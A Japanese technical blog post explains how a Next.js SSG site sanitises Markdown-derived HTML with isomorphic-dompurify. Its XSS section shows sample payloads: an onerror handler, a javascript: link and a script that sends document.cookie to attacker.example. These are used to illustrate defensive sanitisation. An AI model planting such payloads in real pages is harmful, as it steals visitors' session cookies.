Markdown を DOMPurify で安全にレンダリングする:Next.js SSG の XSS 対策

著者: なぎゆー公開日: 2026-06-14読了目安: 約 13
Next.jsセキュリティMarkdown

Next.js SSG で Markdown を HTML 化して dangerouslySetInnerHTML で描画する際の XSS リスクを解説し、DOMPurify(isomorphic-dompurify)によるサニタイズとリポジトリ規約に沿った責務分離設計を紹介します。

はじめに

Markdown で書いたコンテンツを Next.js の SSG で HTML に変換して配信する構成は、技術ブログやドキュメントサイトでよく使われます。この nagiyu ポータルもそのひとつです。シンプルで使いやすい構成ですが、生成した HTML を dangerouslySetInnerHTML で描画する以上、XSS(Cross-Site Scripting)のリスクとどう向き合うかを意識しておく必要があります。

本記事では、nagiyu ポータルが採用している「remark/rehype でパイプライン変換 → DOMPurify でサニタイズ → コンポーネントで描画」という設計を解説します。コードそのものは比較的シンプルです。大事なのは「なぜこの構成にしたか」の設計判断なので、そこを中心に書いていきます。

XSS とは何か:Markdown レンダリングの文脈で

XSS とは、攻撃者が用意したスクリプトをページに埋め込み、閲覧者のブラウザ上で実行させる攻撃です。Markdown をサーバーサイドで安全に変換していても、変換後の HTML に危険なタグや属性が残っていると問題になります。

たとえば Markdown の中に次のような HTML が含まれていたとします。

<!-- Markdown ファイルの中に生 HTML が混在している例 -->
<img src="x" onerror="alert('XSS')" />

<a href="javascript:void(document.cookie)">クリックしてください</a>

<script>fetch('https://attacker.example/steal?c=' + document.cookie)</script>

これらが変換後の HTML にそのまま残り dangerouslySetInnerHTML で展開されると、ページを開いた瞬間にスクリプトが実行されます。

DOMPurify はこの「残ってしまった危険な要素」を除去するライブラリです。上の例それぞれが除去されるとどうなるか示します。

入力 HTML DOMPurify 後
<img src="x" onerror="alert(1)"> <img src="x">onerror 属性を除去)
<a href="javascript:void(...)"> <a>javascript: スキームを除去)
<script>...</script> 空(script タグごと除去)
<iframe src="..."> 空(許可リストにないタグを除去)

DOMPurify はデフォルトで「安全な HTML 要素・属性の許可リスト」を持ち、それ以外をすべて除去します。onerror などのイベントハンドラ属性、javascript: URI、<script> / <iframe> のような危険なタグが対象です。

nagiyu ポータルの実装

変換パイプライン(lib/content.ts)

import { remark } from 'remark';
import remarkGfm from 'remark-gfm';
import remarkRehype from 'remark-rehype';
import rehypeStringify from 'rehype-stringify';
import DOMPurify from 'isomorphic-dompurify';

async function markdownToHtml(markdown: string): Promise<string> {
  const result = await remark()
    .use(remarkGfm)
    .use(remarkRehype)
    .use(rehypeStringify)
    .process(markdown);
  return DOMPurify.sanitize(result.toString());
}

コード自体は短いですが、各ステップには意図があります。

ステップ ライブラリ 役割
Markdown 解析 remark + remark-gfm Markdown を構文木(mdast)へ変換。GFM 拡張(表・チェックボックス等)を有効化
HTML 変換 remark-rehype mdast を HTML 構文木(hast)へ変換
HTML 文字列化 rehype-stringify hast を HTML 文字列へ直列化
サニタイズ DOMPurify.sanitize() 危険な要素・属性を除去

描画コンポーネント(MarkdownContent.tsx)

interface MarkdownContentProps {
  /** DOMPurify でサニタイズ済みの HTML 文字列(lib/content.ts で処理済み) */
  html: string;
  sx?: SxProps<Theme>;
}

/**
 * サニタイズ済み Markdown HTML をレンダリングするコンポーネント
 *
 * コンテンツは lib/content.ts の markdownToHtml() で DOMPurify.sanitize() 済みです。
 */
export default function MarkdownContent({ html, sx }: MarkdownContentProps) {
  return (
    <Box
      dangerouslySetInnerHTML={{ __html: html }}
      sx={[DEFAULT_CONTENT_SX, ...(sx == null ? [] : Array.isArray(sx) ? sx : [sx])]}
    />
  );
}

このコンポーネントは html prop(サニタイズ済み)を受け取り、MUI の Box に流し込むだけです。描画側にサニタイズのロジックはありません。

設計上のポイント

1. 二重防御:remark-rehype のデフォルト挙動 + DOMPurify

remark-rehypeallowDangerousHtml: true オプションを指定しない限り、Markdown 中の生 HTML を素通ししません。通常の Markdown テキストであればそもそも危険な HTML は変換後に含まれないため、DOMPurify が取り除く対象は実質ゼロになります。

それでも DOMPurify を最終段に置いている理由は、将来のリスクを構造的に遮断するためです。たとえば次のような状況を考えます。

  • remark-rehype{ allowDangerousHtml: true } に変更した
  • remark/rehype の拡張プラグインを追加した
  • 別のコンテンツソースからの HTML をパイプラインに流すことになった

こうした変更が加わったとき、DOMPurify がなければ即座に XSS の経路が生まれます。DOMPurify が最終段にいれば、仮に途中の設定が変わっても最後のゲートが防いでくれます。「現状は問題ない」ではなく「変化があっても安全」を担保する、多層防御の考え方です。

2. isomorphic-dompurify を使う理由

素の dompurify はブラウザの window と DOM API を前提に動作します。Node.js 環境(SSG のビルド時)には window がないため、そのまま使うと実行時エラーになります。

ReferenceError: window is not defined

isomorphic-dompurify は内部で jsdom を使い、Node.js でも DOMPurify.sanitize() を呼べるようにしたパッケージです。ブラウザではネイティブの DOM を、Node.js では jsdom を使うよう自動で切り替えてくれます。

nagiyu ポータルでは generateStaticParams と SSG によってすべての記事ページがビルド時に生成されます。markdownToHtml() が呼ばれるのはビルド時のみで、ランタイムに実行されることはありません。isomorphic-dompurify はまさにこのユースケースのためにあります。

3. 責務分離:コンテンツ変換とコンポーネント描画を切り離す

XSS 対策で意外と見落とされがちなのが、「サニタイズをどこで担保するか」という責務の置き場所です。DOMPurify.sanitize() を呼ぶこと自体は簡単ですが、呼び忘れる経路が 1 つでもあれば穴になります。そこで設けたいルールが、次の一文です。

dangerouslySetInnerHTML に渡す HTML は、必ずサニタイズ済みであること

これをコードレビューの口約束ではなく、コードの構造そのもので守れるようにします。nagiyu ポータルでは境界設計で実現しています。

lib/content.ts          ← サニタイズの責務
  markdownToHtml()
    remark → rehype → HTML 文字列
    DOMPurify.sanitize()  ← ここで完結
    return sanitizedHtml

components/MarkdownContent.tsx  ← 描画の責務
  props: { html: string }       ← 「サニタイズ済み」が前提
  <Box dangerouslySetInnerHTML={{ __html: html }} />

MarkdownContent コンポーネントは「渡されてきた HTML は安全なもの」という前提で動いています。逆に言えば、lib/content.ts 以外から生の HTML を MarkdownContent に渡してはいけないということでもあります。この境界をコードの構造として明確にしておくことで、「後から誰かがサニタイズなしで使う」ミスが起きにくくなります。

コンポーネントの JSDoc にも「コンテンツは lib/content.ts の markdownToHtml() で DOMPurify.sanitize() 済み」と明記しているのは、この境界を次の開発者に伝えるためです。

ビルド時サニタイズの利点

SSG との組み合わせで得られる利点のひとつが、ランタイムに一切オーバーヘッドがないことです。

DOMPurify のサニタイズは内部で DOM の構築と解析を行うため、コンテンツの量によってはそれなりの時間がかかります。毎リクエストでこれを実行する SSR / API Routes では無視できないコストになることがあります。

SSG の場合、このコストは next build 時に 1 度だけ支払います。生成された HTML ファイルは完全にサニタイズ済みの静的ファイルとして CDN に配置され、ユーザーへのレスポンスは純粋な静的ファイル配信になります。記事が 100 本あれば 100 回サニタイズが走りますが、それはビルドのみで、リクエスト時には何も走りません。

ハマったポイント

dompurify → isomorphic-dompurify への移行

最初は素の dompurify を入れて試していました。ローカルの next dev(ブラウザ側で動く部分)では問題が出ず、next build を走らせた瞬間に ReferenceError: window is not defined でコケます。

Error: Cannot find module 'dompurify'
  or
ReferenceError: window is not defined

SSG では generateStaticParams が Node.js プロセス上で実行されるため、window 前提のコードは動きません。isomorphic-dompurify に差し替えたところ、npm install isomorphic-dompurify だけでビルドが通るようになりました。型定義も同梱されているので @types/ パッケージは不要です。

remarkRehype に allowDangerousHtml を付けたくなる誘惑

Markdown の中に <details><summary> タグを使いたいと思ったとき、remarkRehype({ allowDangerousHtml: true }) を付ければ生 HTML が通るようになります。ただしこれをやると DOMPurify の防衛線が一気に重要になります。

nagiyu ポータルでは現状 allowDangerousHtml は使っていませんが、もし将来使うことになっても DOMPurify が最終段にいる設計なので、追加の対応なく安全を保てます。これが「二重防御」を最初から仕込んでおく価値です。

依存パッケージ

参考までに、nagiyu ポータルが実際に使っているパッケージのバージョンを示します(services/portal/web/package.json)。

{
  "dependencies": {
    "gray-matter": "^4",
    "isomorphic-dompurify": "^3.16",
    "remark": "^15",
    "remark-gfm": "^4",
    "remark-rehype": "^11",
    "rehype-stringify": "^10"
  }
}

remark@15 / remark-rehype@11 / rehype-stringify@10 は ESM 専用パッケージです。package.json"type": "module" を設定するか、next.config.ts 側で transpilePackages を設定する必要はなく、Next.js は内部でこれらを扱ってくれます(Next.js 13 以降)。

まとめ

Markdown を dangerouslySetInnerHTML で描画するパターンの XSS 対策として、nagiyu ポータルが採用している設計のポイントを整理します。

  1. remark-rehype のデフォルト設定で Markdown 中の生 HTML をそもそも通さない
  2. DOMPurify を最終段に配置して、将来の設定変更や拡張があっても XSS を防ぐ多層防御とする
  3. isomorphic-dompurify で Node.js(ビルド時)でも DOMPurify.sanitize() を動かす
  4. サニタイズと描画の責務を分離し、lib/content.ts でサニタイズを完結、MarkdownContent は「受け取った HTML は安全」を前提として動く
  5. SSG でビルド時に 1 回サニタイズするため、ランタイムのオーバーヘッドがゼロ

「DOMPurify を入れておけば安全」ではなく、「どこで・誰が・どのタイミングでサニタイズするか」を設計として決めておくことが重要です。境界が明確であれば、後から見た開発者もルールを理解しやすくなります。